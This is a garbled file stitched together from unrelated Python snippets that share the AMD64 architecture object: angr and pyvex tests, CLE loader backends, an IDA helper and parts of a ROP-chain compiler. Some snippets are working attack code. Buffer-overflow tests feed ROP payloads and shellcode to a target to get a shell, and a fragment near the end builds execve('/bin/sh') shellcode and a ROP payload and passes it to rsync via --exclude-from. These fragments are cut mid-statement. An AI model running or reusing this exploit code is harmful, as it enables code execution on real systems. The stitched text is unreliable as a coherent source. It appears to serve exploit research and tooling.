def test_inspect_exit(): class counts: #pylint:disable=no-init exit_before = 0 exit_after = 0 def handle_exit_before(state): counts.exit_before += 1 exit_target = state.inspect.exit_target nose.tools.assert_equal(state.solver.eval(exit_target), 0x3f8) # change exit target state.inspect.exit_target = 0x41414141 nose.tools.assert_equal(state.inspect.exit_jumpkind, "Ijk_Boring") nose.tools.assert_true(state.inspect.exit_guard.is_true()) def handle_exit_after(state): #pylint:disable=unused-argument counts.exit_after += 1 s = SimState(arch="AMD64", mode="symbolic") irsb = pyvex.IRSB(b"\x90\x90\x90\x90\xeb\x0a", mem_addr=1000, arch=archinfo.ArchAMD64()) # break on exit s.inspect.b('exit', BP_BEFORE, action=handle_exit_before) s.inspect.b('exit', BP_AFTER, action=handle_exit_after) # step it succ = SimEngineVEX().process(s, irsb).flat_successors # check nose.tools.assert_equal(succ[0].solver.eval(succ[0].ip), 0x41414141) nose.tools.assert_equal(counts.exit_before, 1) nose.tools.assert_equal(counts.exit_after, 1)
class Instruction(): assembly = None opcodes = None addr = 0 ir = None arch = archinfo.ArchAMD64() def __init__(self, assembly, opcodes, addr): self.assembly = assembly self.opcodes = binascii.unhexlify(opcodes) self.addr = addr self.ir = pyvex.lift(self.opcodes, addr, self.arch) def __str__(self): output = "" for stmt in self.ir.statements: if isinstance(stmt, pyvex.stmt.Put): output += stmt.__str__(reg_name=self.arch.translate_register_name(stmt.offset, stmt.data.result_size(self.ir.tyenv) // 8)) \ + "\n" elif isinstance(stmt, pyvex.stmt.Exit): output += stmt.__str__( reg_name=self.arch.translate_register_name( stmt.offsIP, self.ir.arch.bits // 8)) + "\n" elif isinstance(stmt, pyvex.stmt.IMark): output += hex(stmt.addr) + ":\t" + self.assembly + "\n" elif isinstance(stmt, pyvex.stmt.WrTmp) and isinstance( stmt.data, pyvex.expr.Get): output += stmt.__str__( reg_name=self.arch.translate_register_name( stmt.data.offset, stmt.data.result_size(self.ir.tyenv) // 8)) + "\n" else: output += stmt.__str__() + "\n" return output
def filter_gadgets(gadgets): filtered_gadgets = [] r15 = archinfo.ArchAMD64().registers['r15'][0] for gadget in gadgets: if not r15 in gadget.inputs: filtered_gadgets.append(gadget) return filtered_gadgets
def __init__(self): super(ArchitectureX86_64, self).__init__() self._name = 'x86_64' self._maxInvalid = 8 if 'keystone' in globals(): self._ksarch = (keystone.KS_ARCH_X86, keystone.KS_MODE_64) self._endings[gadget.GadgetType.SYS] = [(b'\x0f\x05', 2), (b'\x0f\x05\xc3', 3) ] # syscall self._mode = CS_MODE_64 if 'archinfo' in globals(): self._info = archinfo.ArchAMD64() self._addressLength = 8 self._pprs = [ b'[\x58-\x5f]{2}\xc3', # pop reg; pop reg; ret b'\x83\xc4\x08[\x58-\x5f]\xc3', # add esp, 4; pop reg; ret b'[\x58-\x5f]\x83\xc4\x08\xc3', # pop reg; add esp, 4; ret b'\x83\xc4\x10\xc3' # add esp, 8; ret; ] self._pprs.append(b'\x41?[\x58-\x5f]\x48\x83\xc4\x08\xc3') self._pprs.append(b'\x48\x83\xc4\x08\x41?[\x58-\x5f]\xc3') self._pprs.append(b'(\x41?[\x58-\x5f]){2}\xc3') self._pprs.append(b'\x48\x83\xc4\x10\xc3')
def rop(files, libraries, goal_list, arch = archinfo.ArchAMD64(), log_level = logging.WARNING, validate_gadgets = False, strategy = None, bad_bytes = None): """Takes a goal resolver and creates a rop chain for it. The arguments are as follows: $files - a list of tuples of the form (binary filename, gadget filename, load address). The binary filename is the name of the file to generate a ROP chain for. The gadget filename is a file that has been previously generated which contains the previously found gadgets (using the finder.py utility script). If a gadget file hasn't been generated before, fill in None for this argument. The load address of the binary is only needed for libraries and PIE binaries. $libraries - a list of path's to the libraries to resolve symbols in. Primarily this is useful for libc. This list differs from the files list in that the entries in this list will not be used to find gadgets (and thus their address is not needed). $goal_list - a list of goals to attempt to compile a ROP chain for. See goal.py for the format of the items in this list. $arch - the archinfo class representing the architecture of the binary $log_level - the level of logging to display during the ROP compiling process. Note that pyvex logs a large amount of info to stderr during the compilation process and will not be affected by this value (sorry). $validate_gadgets - whether the gadgets should be verified using z3. While this ensures that the ROP chain will work as expected, it makes the finding process faster and in practice shouldn't make a difference. $strategy - the strategy for find gadget (see gadget.py). This can be either FIRST, BEST, or MEDIUM; where FIRST returns the first gadget that matches the desired type, BEST scans the found gadgets for the best one that matches the desired type, and MEDIUM is a compromise between the two. In practice, the default (MEDIUM) should work for most things. $bad_bytes - a list of strings that a gadget will be rejected for if it contains them """ file_handler = multifile_handler.MultifileHandler(files, libraries, arch, log_level) goal_resolver = goal.GoalResolver(file_handler, goal_list, log_level) gadgets = file_handler.find_gadgets(validate_gadgets, bad_bytes) if strategy != None: gadgets.set_strategy(strategy) gadget_scheduler = scheduler.Scheduler(gadgets, goal_resolver, file_handler, arch, log_level, bad_bytes) return gadget_scheduler.get_chain()
def test_amd64(self): tests = [ ({ Jump: 1 }, '\xff\xe0'), # jmp rax ({ MoveReg: 2 }, '\x48\x93\xc3'), # xchg rbx, rax; ret ({ MoveReg: 1 }, '\x48\x89\xcb\xc3'), # mov rbx,rcx; ret ({ LoadConst: 1 }, '\x48\xbb\xff\xee\xdd\xcc\xbb\xaa\x99\x88\xc3' ), # movabs rbx,0x8899aabbccddeeff; ret ({ AddGadget: 1 }, '\x48\x01\xc3\xc3'), # add rbx, rax; ret ({ LoadMem: 1 }, '\x5f\xc3'), # pop rdi; ret ({ LoadMem: 1 }, '\x48\x8b\x43\x08\xc3'), # mov rax,QWORD PTR [rbx+0x8]; ret ({ LoadMem: 1 }, '\x48\x8b\x07\xc3'), # mov rax,QWORD PTR [rdi]; ret ({ StoreMem: 1 }, '\x48\x89\x03\xc3'), # mov QWORD PTR [rbx],rax; ret ({ StoreMem: 1 }, '\x48\x89\x43\x08\xc3'), # mov QWORD PTR [rbx+0x8],rax; ret ({ StoreMem: 1 }, '\x48\x89\x44\x24\x08\xc3'), # mov QWORD PTR [rsp+0x8],rax; ret ({ LoadAddGadget: 1 }, '\x48\x03\x03\xc3'), # add rax,QWORD PTR [rbx] ({ StoreAddGadget: 1 }, '\x48\x01\x43\xf8\xc3'), # add QWORD PTR [rbx-0x8],rax; ret ({}, '\x48\x39\xeb\xc3'), # cmp rbx, rbp; ret ({}, '\x5e'), # pop rsi ({}, '\x8b\x04\xc5\xc0\x32\x45\x00\xc3' ), # mov rax,QWORD PTR [rax*8+0x4532c0] ({ LoadMem: 1, LoadConst: 1 }, '\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3' ), # pop rcx; mov rbx,rcx; mov rcx,0x5; ret ({}, '\x48\x8b\x85\xf0\xfd\xff\xff\x48\x83\xc0'), # ({LoadMemJump : 1, }, '\x5a\xfc\xff\xd0'), # pop rdx, cld, call rax ({ LoadMem: 3, LoadMultiple: 1 }, '\x5f\x5e\x5a\xc3'), # pop rdi; pop rsi; pop rdx; ret ] self.run_test(archinfo.ArchAMD64(), tests)
def __init__(self, bytes, address=0x0, arch_str='x64'): if arch_str == 'x64': arch = archinfo.ArchAMD64() else: pass #TODO: self.Address = address self.irsb = pyvex.IRSB(bytes, address, arch)
def test_amd64(self): arch = archinfo.ArchAMD64() tests = [ (['\xff\xe0'], Jump, ['rax'], ['rip'], [], [], 0, None, True), # jmp rax (['\x48\x93\xc3'], MoveReg, ['rbx'], ['rax'], [], ['rbx'], 8, 0, True), # xchg rbx, rax; ret (['\x48\x93\xc3'], MoveReg, ['rax'], ['rbx'], [], ['rax'], 8, 0, True), # xchg rbx, rax; ret (['\x48\x89\xcb\xc3'], MoveReg, ['rcx'], ['rbx'], [], [], 8, 0, True), # mov rbx, rcx; ret (['\x48\xbb\xff\xee\xdd\xcc\xbb\xaa\x99\x88\xc3' ], LoadConst, [], ['rbx'], [0x8899aabbccddeeff], [], 8, 0, True), # movabs rbx,0x8899aabbccddeeff; ret (['\x48\x01\xc3\xc3'], AddGadget, ['rbx', 'rax'], ['rbx'], [], [], 8, 0, True), # add rbx, rax; ret (['\x5f\xc3'], LoadMem, ['rsp'], ['rdi'], [0], [], 0x10, 8, True), # pop rdi; ret (['\x48\x8b\x43\x08\xc3'], LoadMem, ['rbx'], ['rax'], [8], [], 8, 0, True), # mov rax,QWORD PTR [rbx+0x8]; ret (['\x48\x8b\x07\xc3'], LoadMem, ['rdi'], ['rax'], [0], [], 8, 0, True), # mov rax,QWORD PTR [rbx+0x8]; ret (['\x48\x89\x03\xc3'], StoreMem, ['rbx', 'rax'], [], [0], [], 8, 0, True), # mov QWORD PTR [rbx],rax; ret (['\x48\x89\x43\x08\xc3'], StoreMem, ['rbx', 'rax'], [], [8], [], 8, 0, True), # mov QWORD PTR [rbx+0x8],rax; ret (['\x48\x89\x44\x24\x08\xc3'], StoreMem, ['rsp', 'rax'], [], [8], [], 8, 0, True), # mov QWORD PTR [rsp+0x8],rax; ret (['\x48\x03\x03\xc3'], LoadAddGadget, ['rbx', 'rax'], ['rax'], [0], [], 8, 0, True), # add rax,QWORD PTR [rsp+0x8]; ret (['\x48\x01\x43\xf8\xc3'], StoreAddGadget, ['rbx', 'rax'], ['rax'], [-8], [], 8, 0, True), # add QWORD PTR [rbx-0x8],rax; ret (['\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3' ], LoadMem, ['rsp'], ['rbx'], [0], ['rcx'], 0x10, 8, True), # pop rcx; mov rbx,rcx; mov rcx,0x5; ret (['\x59\x48\x89\xcb\x48\xc7\xc1\x05\x00\x00\x00\xc3' ], LoadConst, [], ['rcx'], [5], ['rbx'], 0x10, 8, True), # pop rcx; mov rbx,rcx; mov rcx,0x5; ret (['\x5f\x5e\x5a\xc3' ], LoadMultiple, ['rsp'], ['rdi', 'rsi', 'rdx'], [0, 8, 0x10], [], 0x20, 0x18, True), # pop rdi; pop rsi; pop rdx; ret (['\x48\xff\xc0\xc3'], AddConstGadget, ['rax'], ['rax'], [1], [], 8, 0, True), # inc rax; ret # Negative tests (['\xff\xe0'], Jump, ['rax'], ['rip'], [], [], 8, None, False ), # jmp rax (bad stack offset) (['\x48\x93\xc3'], MoveReg, ['rbx'], ['rax'], [], ['rbx'], 8, 8, False), # xchg rbx, rax; ret (bad ip in stack offset) (['\x5f\xc3'], LoadMem, ['rsp'], ['rdi'], [8], [], 0x10, 8, False), # pop rdi; ret (bad param) (['\x5f\x5e\x5a\xc3'], LoadMultiple, ['rsp'], ['rdi', 'rsi', 'rdx'], [0, 7, 0x10], [], 0x20, 0x18, False), # pop rdi; pop rsi; pop rdx; ret (bad param) ] self.run_test(arch, tests)
def test_irop_catevenlanes(): arch = archinfo.ArchAMD64() p = angr.load_shellcode(arch.asm('pmulhrsw xmm0, xmm1'), arch) # concrete test s1 = p.factory.blank_state() s1.regs.xmm0 = 0x4713e06bf3235e97ca8cfde0647d65fd s1.regs.xmm1 = 0x31f1f86da1dce7de252adc78160e1016 s2 = s1.step(num_inst=1).successors[0] assert (s2.regs.xmm0 == 0x1bbb01de0976ee2bf07b009711500cd1).is_true()
def test_irop_mulhi(): arch = archinfo.ArchAMD64() p = angr.load_shellcode(arch.asm('vpmulhw xmm0,xmm1,xmm2'), arch) # concrete test s1 = p.factory.blank_state() s1.regs.xmm1 = 0x3aca92553c2526d4f20987aeab250255 s1.regs.xmm2 = 0x1aebcb281463274ec3ce6473619a8541 s2 = s1.step(num_inst=1).successors[0] assert (s2.regs.xmm0 == 0x62e16a304ca05f60348d0c9dfa5fee1).is_true()
def rop_to_shellcode(files, libraries, shellcode_address, arch=archinfo.ArchAMD64(), log_level=logging.WARNING, validate_gadgets=False, bad_bytes=None): """Convience method to create a goal_resolver for a shellcode address goal then find a rop chain for it""" goal_list = [["shellcode", hex(shellcode_address)]] return rop(files, libraries, goal_list, arch, log_level, validate_gadgets, bad_bytes)
def test_amd64(self): arch = archinfo.ArchAMD64() tests = [ (LoadMem, [], ['rax'], [], [(0x40000, MoveReg, ['rbx'], ['rax'], [], [], 8, 4), (0x40000, LoadMem, ['rsp'], ['rbx'], [], [], 8, 4)]), (LoadMem, ['rsp'], ['rax'], [], [(0x40000, LoadMemJump, ['rsp', 'rbx'], ['rax'], [], [], 8, None), (0x40000, LoadMem, ['rsp'], ['rbx'], [], [], 8, 4)]), ] self.run_test(arch, tests)
def main(): ap = argparse.ArgumentParser() ap.add_argument('file') ap.add_argument('arch') ap.add_argument('mem_addr', type=lambda x: int(x, 0)) args = ap.parse_args() data = open(args.file, 'rb').read() assert (args.arch == 'amd64') irsb = IRSB(data, args.mem_addr, archinfo.ArchAMD64()) irsb.pp()
def test_ud2(): # On x86 and amd64, ud2 is a valid 2-byte instruction that means "undefined instruction". Upon decoding a basic # block that ends with ud2, we should treat it as an explicit NoDecode, instead of skipping the instruction and # resume lifting. b = pyvex.block.IRSB(b'\x90\x90\x0f\x0b\x90\x90', 0x20, archinfo.ArchAMD64()) nose.tools.assert_equals(b.jumpkind, "Ijk_NoDecode") nose.tools.assert_equals(b.next.con.value, 0x22) nose.tools.assert_equals(b.size, 4)
def get_hardware_mode(): (arch, mode) = (None, None) info = idaapi.get_inf_structure() # heuristically detect hardware setup info = idaapi.get_inf_structure() try: cpuname = info.procname.lower() except: cpuname = info.procName.lower() try: # since IDA7 beta 3 (170724) renamed inf.mf -> is_be()/set_be() is_be = idaapi.cvar.inf.is_be() except: # older IDA versions is_be = idaapi.cvar.inf.mf # print("Keypatch BIG_ENDIAN = %s" %is_be) if cpuname == "metapc": if info.is_64bit(): arch = archinfo.ArchAMD64() mode = KS_MODE_64 elif info.is_32bit(): arch = archinfo.ArchX86() mode = KS_MODE_32 else: arch = archinfo.ArchNotFound() mode = KS_MODE_16 elif cpuname.startswith("ppc"): if info.is_64bit(): arch = archinfo.ArchPPC64() mode = KS_MODE_PPC64 else: arch = archinfo.ArchPPC32() mode = KS_MODE_PPC32 if cpuname == "ppc": # do not support Little Endian mode for PPC mode += KS_MODE_BIG_ENDIAN elif cpuname.startswith("mips"): if info.is_64bit(): arch = archinfo.ArchMIPS64() mode = KS_MODE_MIPS64 else: arch = archinfo.ArchMIPS32() mode = KS_MODE_MIPS32 elif cpuname.startswith("systemz") or cpuname.startswith("s390x"): arch = archinfo.ArchS390X() mode = KS_MODE_BIG_ENDIAN return (arch, mode)
def test_bof(self): filename = e('bof') p = process([filename, '3000']) line = p.readline() buffer_address = int(line.split(":")[1], 16) target_address = buffer_address + 1024 rop = ropme.rop_to_shellcode([(filename, None, 0)], [], target_address, archinfo.ArchAMD64(), logging.DEBUG, True) payload = 'A' * 512 + 'B' * 8 + rop payload += ((1024 - len(payload)) * 'B') + self.shellcode_amd64() p.writeline(payload) self.check_shell(p)
class _Architectures(collections.abc.Mapping): aliases = {'x64': 'amd64', 'x86-64': 'amd64'} __values = collections.OrderedDict( (('amd64', archinfo.ArchAMD64()), ('x86', archinfo.ArchX86()))) def __getitem__(self, item): item = item.lower() item = self.aliases.get(item, item) return self.__values[item] def __iter__(self): return iter(self.__values) def __len__(self): return len(self.__values)
def __init__(self, arch): if arch == 'x86': self.arch = archinfo.ArchX86() self.addr = 0x8048000 self.name_size_pair = name_size_pair32 elif arch == 'x64': self.arch = archinfo.ArchAMD64() self.addr = 0x401000 self.name_size_pair = name_size_pair64 self.statements = [] self.lbl = 0 self.ftop = False self.cc_op = None self.cc_dep1 = None self.cc_dep2 = None self.cc_ndep = None
def __init__(self, *args, **kwargs): super(Minidump, self).__init__(*args, **kwargs) self.os = 'windows' self.supports_nx = True if self.binary is None: self._mdf = minidumpfile.MinidumpFile.parse_bytes(self.binary_stream.read()) else: self._mdf = minidumpfile.MinidumpFile.parse(self.binary) if self.arch is None: if getattr(self._mdf, 'sysinfo', None) is None: raise MinidumpMissingStreamError('SystemInfo', 'The architecture was not specified') arch = self._mdf.sysinfo.ProcessorArchitecture if arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.AMD64: self.set_arch(archinfo.ArchAMD64()) elif arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.INTEL: self.set_arch(archinfo.ArchX86()) else: # has not been tested with other architectures raise CLEError('Loading minidumps is not implemented for this architecture') if self._mdf.memory_segments_64 is not None: segments = self._mdf.memory_segments_64.memory_segments elif self._mdf.memory_segments is not None: segments = self._mdf.memory_segments.memory_segments else: raise MinidumpMissingStreamError('MemoryList', 'The memory segments were not defined') for segment in segments: clemory = Clemory(self.arch) data = segment.read(segment.start_virtual_address, segment.size, self._mdf.file_handle) clemory.add_backer(0, data) self.memory.add_backer(segment.start_virtual_address, clemory) for module in self.modules: for segment in segments: if segment.start_virtual_address == module.baseaddress: break else: raise CLEInvalidBinaryError('Missing segment for loaded module: ' + module.name) section = Section(module.name, segment.start_file_address, module.baseaddress, module.size) self.sections.append(section) self.sections_map[ntpath.basename(section.name)] = section self.segments = self.sections
def test_irop_perm(): arch = archinfo.ArchAMD64() p = angr.load_shellcode(arch.asm('vpshufb xmm0,xmm1,xmm2'), arch) # concrete test s1 = p.factory.blank_state() s1.regs.xmm1 = 0x3c899a56814ee9b84c7b5d8394c85881 s1.regs.xmm2 = 0xa55c66a2cdef1cbcd72b42078d1b7f8b s2 = s1.step(num_inst=1).successors[0] assert (s2.regs.xmm0 == 0x00567b00000056000081c84c00813c00).is_true() # symbolic test s3 = p.factory.blank_state() s3.regs.xmm1 = claripy.BVS('xmm1', 128) s3.regs.xmm2 = claripy.BVS('xmm2', 128) s4 = s3.step(num_inst=1).successors[0] s4.solver.add(s4.regs.xmm2 == 0xa55c66a2cdef1cbcd72b42078d1b7f8b) s4.solver.add(s4.regs.xmm0 == 0x00567b00000056000081c84c00813c00) assert s4.solver.solution(s4.regs.xmm1, 0x3c899a56814ee9b84c7b5d8394c85881)
def test_partial_lift(): """This tests that gymrat correctly handles the case where an instruction is longer than the remaining input. """ class NOP(Instruction): name = "nop" bin_format = "0000111100001111" def compute_result(self, *args): pass class NOPLifter(GymratLifter): instrs = [NOP] lifter = NOPLifter(archinfo.ArchAMD64(), 0) # this should not throw an exception block = lifter._lift("\x0F\x0Fa") nose.tools.assert_equal(block.size, 2) nose.tools.assert_equal(block.instructions, 1) nose.tools.assert_equal(block.jumpkind, JumpKind.NoDecode)
def bof_many_args(self, is_64bit): if is_64bit: filename, arch = e('bof_many_args'), archinfo.ArchAMD64() else: filename, arch = e('bof_many_args_x86'), archinfo.ArchX86() files = [(filename, None, 0)] rop = ropme.rop( files, [], [["function", "callme", 11, 12, 13, 14, 15, 16, 17, 18]], arch=arch, log_level=logging.DEBUG) if is_64bit: payload = 'A' * 512 + 'B' * 8 + rop else: payload = 'A' * 524 + 'B' * 4 + rop p = process([filename, '3000']) p.writeline(payload) self.assertEqual('Called with (11,12,13,14,15,16,17,18)', p.readline().strip()) p.close()
def test_amd64_jcc(self): tests = [ # pop %rbp; retq ; mov $0x0,%eax; test %rax,%rax; je 400895; pop %rbp; mov $0x6020b0,%edi; jmpq *%rax; ({ LoadMem: 1, NOP: 1, LoadMemJump: 1, RegJumpNormal: 3, JCC: 1 }, '\x5d\xc3\xb8\x00\x00\x00\x00\x48\x85\xc0\x74\xf4\x5d\xbf\xb0\x20\x60\x00\xff\xe0' ), #pop %rbp; retq; je 0; jmpq *%rax ({ LoadMem: 1, NOP: 1, RegJumpNormal: 2, JCC: 1 }, '\x5d\xc3\x74\xfc\xff\xe0'), ] self.run_jcc_test(archinfo.ArchAMD64(), tests)
def getRegInOut(ctx, address, inslen=15, arch=None, oneins=True, ignorereg=[]): b = ctx.getMemVal(address, inslen) if arch is None: arch = archinfo.ArchAMD64() irsb = pyvex.lift(b, address, arch) out = [[], []] # [[regin][regout]] for s in irsb.statements[1:]: if isinstance(s, pyvex.IRStmt.IMark): if oneins: #bad inslen, grab again, otherwise we miss things #unless we really have the full block return getRegInOut(ctx, address, s.addr - address, arch, oneins, ignorereg) elif isinstance(s, pyvex.IRStmt.Put): roff = s.offset rsz = s.data.result_size(irsb.tyenv) // 8 for i in range(rsz): r = roff + i if r not in ignorereg: out[1].append(r) for e in s.expressions: if isinstance(e, pyvex.IRStmt.Get): roff = e.offset rsz = e.result_size(irsb.tyenv) // 8 for i in range(rsz): r = roff + i if r not in ignorereg: out[0].append(r) # if there is an option for changing RIP here, we need to report RIP as an output #if not isinstance(irsb.next, pyvex.expr.Const): # out[1].append("rip") return out
def test_inspect(): class counts: #pylint:disable=no-init mem_read = 0 mem_write = 0 reg_read = 0 reg_write = 0 tmp_read = 0 tmp_write = 0 expr = 0 statement = 0 instruction = 0 constraints = 0 variables = 0 def act_mem_read(state): #pylint:disable=unused-argument counts.mem_read += 1 def act_mem_write(state): #pylint:disable=unused-argument counts.mem_write += 1 def act_reg_read(state): #pylint:disable=unused-argument counts.reg_read += 1 def act_reg_write(state): #pylint:disable=unused-argument counts.reg_write += 1 def act_tmp_read(state): #pylint:disable=unused-argument counts.tmp_read += 1 def act_tmp_write(state): #pylint:disable=unused-argument counts.tmp_write += 1 def act_expr(state): #pylint:disable=unused-argument counts.expr += 1 def act_statement(state): #pylint:disable=unused-argument counts.statement += 1 def act_instruction(state): #pylint:disable=unused-argument counts.instruction += 1 def act_variables(state): #pylint:disable=unused-argument #print "CREATING:", state.inspect.symbolic_name counts.variables += 1 # def act_constraints(state): #pylint:disable=unused-argument # counts.constraints += 1 s = SimState(arch="AMD64", mode="symbolic") s.inspect.b('mem_write', when=BP_AFTER, action=act_mem_write) nose.tools.assert_equal(counts.mem_write, 0) s.memory.store(100, s.solver.BVV(10, 32)) nose.tools.assert_equal(counts.mem_write, 1) s.inspect.b('mem_read', when=BP_AFTER, action=act_mem_read) s.inspect.b('mem_read', when=BP_AFTER, action=act_mem_read, mem_read_address=100) s.inspect.b('mem_read', when=BP_AFTER, action=act_mem_read, mem_read_address=123) s.inspect.b('mem_read', when=BP_BEFORE, action=act_mem_read, mem_read_length=3) nose.tools.assert_equal(counts.mem_read, 0) s.memory.load(123, 4) s.memory.load(223, 3) nose.tools.assert_equal(counts.mem_read, 4) s.inspect.b('reg_read', when=BP_AFTER, action=act_reg_read) nose.tools.assert_equal(counts.reg_read, 0) s.registers.load(16) nose.tools.assert_equal(counts.reg_read, 1) s.inspect.b('reg_write', when=BP_AFTER, action=act_reg_write) nose.tools.assert_equal(counts.reg_write, 0) s.registers.store(16, s.solver.BVV(10, 32)) nose.tools.assert_equal(counts.reg_write, 1) nose.tools.assert_equal(counts.mem_write, 1) nose.tools.assert_equal(counts.mem_read, 4) nose.tools.assert_equal(counts.reg_read, 1) s.inspect.b('tmp_read', when=BP_AFTER, action=act_tmp_read, tmp_read_num=0) s.inspect.b('tmp_write', when=BP_AFTER, action=act_tmp_write, tmp_write_num=0) s.inspect.b('expr', when=BP_AFTER, action=act_expr, expr_result=1016) s.inspect.b('statement', when=BP_AFTER, action=act_statement) s.inspect.b('instruction', when=BP_AFTER, action=act_instruction, instruction=1001) s.inspect.b('instruction', when=BP_AFTER, action=act_instruction, instruction=1000) irsb = pyvex.IRSB(b"\x90\x90\x90\x90\xeb\x0a", mem_addr=1000, arch=archinfo.ArchAMD64(), opt_level=0) irsb.pp() SimEngineVEX().process(s, irsb) nose.tools.assert_equal(counts.reg_write, 7) nose.tools.assert_equal(counts.reg_read, 2) nose.tools.assert_equal(counts.tmp_write, 1) nose.tools.assert_equal(counts.tmp_read, 1) nose.tools.assert_equal( counts.expr, 3 ) # one for the Put, one for the WrTmp, and one to get the next address to jump to nose.tools.assert_equal(counts.statement, 11) nose.tools.assert_equal(counts.instruction, 2) nose.tools.assert_equal(counts.constraints, 0) nose.tools.assert_equal(counts.mem_write, 1) nose.tools.assert_equal(counts.mem_read, 4) s = SimState(arch="AMD64", mode="symbolic") s.inspect.b('symbolic_variable', when=BP_AFTER, action=act_variables) s.memory.load(0, 10) nose.tools.assert_equal(counts.variables, 1)
+ "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" # mov $0x68732f6e69622f2f, %rbx + "\x48\xc1\xeb\x08" # shr $0x8, %rbx + "\x53" # push %rbx + "\x48\x89\xe7" # mov %rsp, %rdi + "\x50" # push %rax + "\x57" # push %rdi + "\x48\x89\xe6" # mov %rsp, %rsi + "\xb0\x3b" # mov $0x3b, %al + "\x0f\x05" # syscall ) print "Finding gadgets and generating rop chain" goals = [["shellcode_hex", binascii.hexlify(shellcode)]] rop = ropme.rop(files, ["/lib/x86_64-linux-gnu/libc.so.6"], goals, archinfo.ArchAMD64(), logging.DEBUG) payload = ("A" * 5696) + "J" * 8 + rop with open("/tmp/rop", "w") as f: f.write(rop) with open("/tmp/payload", "w") as f: f.write(payload) print "Starting rsync with the exploit payload" p = process( argv=[filename, '-r', '--exclude-from=/tmp/payload', '.', '/tmp/to/'], executable=filename) #gdb.attach(p, "set disassembly-flavor intel\nbreak *mprotect\n") p.interactive()
class BinjaBin(Backend): """ Get information from binaries using Binary Ninja. Basing this on idabin.py, but will try to be more complete. TODO: add more features as Binary Ninja's feature set improves """ is_default = True # Tell CLE to automatically consider using the BinjaBin backend BINJA_ARCH_MAP = { "aarch64": archinfo.ArchAArch64(endness='Iend_LE'), "armv7": archinfo.ArchARMEL(endness='Iend_LE'), "thumb2": archinfo.ArchARMEL(endness='Iend_LE'), "armv7eb": archinfo.ArchARMEL(endness='Iend_BE'), "thumb2eb": archinfo.ArchARMEL(endness='Iend_BE'), "mipsel32": archinfo.ArchMIPS32(endness='Iend_LE'), "mips32": archinfo.ArchMIPS32(endness='Iend_BE'), "ppc": archinfo.ArchPPC32(endness="Iend_BE"), "ppc_le": archinfo.ArchPPC32(endness="Iend_LE"), "x86": archinfo.ArchX86(), "x86_64": archinfo.ArchAMD64() } def __init__(self, binary, *args, **kwargs): super().__init__(binary, *args, **kwargs) if not bn: raise CLEError(BINJA_NOT_INSTALLED_STR) # get_view_of_file can take a bndb or binary - wait for autoanalysis to complete self.bv = bn.BinaryViewType.get_view_of_file(binary, False) l.info("Analyzing %s, this may take some time...", binary) self.bv.update_analysis_and_wait() l.info("Analysis complete") # Note may want to add option to kick off linear sweep try: self.set_arch(self.BINJA_ARCH_MAP[self.bv.arch.name]) except KeyError: l.error("Architecture %s is not supported.", self.bv.arch.name) for seg in self.bv.segments: l.info("Adding memory for segment at %x.", seg.start) br = bn.BinaryReader(self.bv) br.seek(seg.start) data = br.read(len(seg)) self.memory.add_backer(seg.start, data) self._find_got() self._symbol_cache = {} self._init_symbol_cache() # Note: this represents the plt stub. ImportAddressSymbol refers to .got entries # Since we're not trying to import and load dependencies directly, but want to run SimProcedures, # We should use the binaryninja.SymbolType.ImportedFunctionSymbol # Also this should be generalized to get data imports, too self.raw_imports = { i.name: i.address for i in self.bv.get_symbols_of_type( bn.SymbolType.ImportedFunctionSymbol) } self._process_imports() self.exports = {} self.linking = "static" if len(self.raw_imports) == 0 else "dynamic" # We'll look for this attribute to see if we need to do SimProcedures for any imports in this binary # This is an ugly hack, but will have to use this for now until Binary Ninja exposes dependencies self.guess_simprocs = True self.guess_simprocs_hint = "nix" if self.bv.get_section_by_name( ".plt") else "win" l.warning("This backend is based on idabin.py.\n\ You may encounter unexpected behavior if:\n\ \tyour target depends on library data symbol imports, or\n\ \tlibrary imports that don't have a guess-able SimProcedure\n\ Good luck!") def _process_imports(self): ''' Process self.raw_imports into list of Relocation objects ''' if not self.raw_imports: l.warning( "No imports found - if this is a dynamically-linked binary, something probably went wrong." ) for name, addr in self.raw_imports.items(): BinjaReloc(self, self._symbol_cache[name], addr) def _init_symbol_cache(self): # Note that we could also access name, short_name, or full_name attributes for sym in self.bv.get_symbols(): cle_sym = BinjaSymbol(self, sym) self._symbol_cache[sym.raw_name] = cle_sym self.symbols.add(cle_sym) def _find_got(self): """ Locate the section (e.g. .got) that should be updated when relocating functions (that's where we want to write absolute addresses). """ sec_name = self.arch.got_section_name self.got_begin = None self.got_end = None try: got_sec = self.bv.sections[self.arch.got_section_name] self.got_begin = got_sec.start self.got_end = got_sec.end except KeyError: l.warning("No got section mapping found!") # If we reach this point, we should have the addresses if self.got_begin is None or self.got_end is None: l.warning("No section %s, is this a static binary ? (or stripped)", sec_name) return False return True @staticmethod def is_compatible(stream): if not bn: return False magic = stream.read(100) stream.seek(0) # bndb files are SQlite 3 if magic.startswith(b"SQLite format 3") and stream.name.endswith( "bndb"): return True return False def in_which_segment(self, addr): """ Return the segment name at address `addr`. """ # WARNING: if there are overlapping sections, we choose the first name. # The only scenario I've seen here is a NOBITS section that "overlaps" with another one, but # I'm not sure if that's a heurstic that should be applied here. # https://stackoverflow.com/questions/25501044/gcc-ld-overlapping-sections-tbss-init-array-in-statically-linked-elf-bin#25771838 seg = self.bv.get_sections_at(addr)[0].name return "unknown" if len(seg) == 0 else seg def get_symbol_addr(self, sym): """ Get the address of the symbol `sym` from IDA. :returns: An address. """ # sym is assumed to be the raw_name of the symbol return self.bv.get_symbol_by_raw_name(sym) def function_name(self, addr): """ Return the function name at address `addr`. """ func = self.bv.get_function_at(addr) if not func: return "UNKNOWN" return func.name @property def min_addr(self): """ Get the min address of the binary. (note: this is probably not "right") """ return self.bv.start @property def max_addr(self): """ Get the max address of the binary. """ return self.bv.end @property def entry(self): if self._custom_entry_point is not None: return self._custom_entry_point + self.mapped_base return self.bv.entry_point + self.mapped_base def get_strings(self): """ Extract strings from binary (Binary Ninja). :returns: An array of strings. """ return self.bv.get_strings() def set_got_entry(self, name, newaddr): """ Resolve import `name` with address `newaddr`. That is, update the GOT entry for `name` with `newaddr`. """ if name not in self.imports: l.warning("%s not in imports", name) return addr = self.imports[name] self.memory.pack_word(addr, newaddr) def close(self): """ Release the BinaryView we created in __init__ :return: None """ self.bv.file.close()
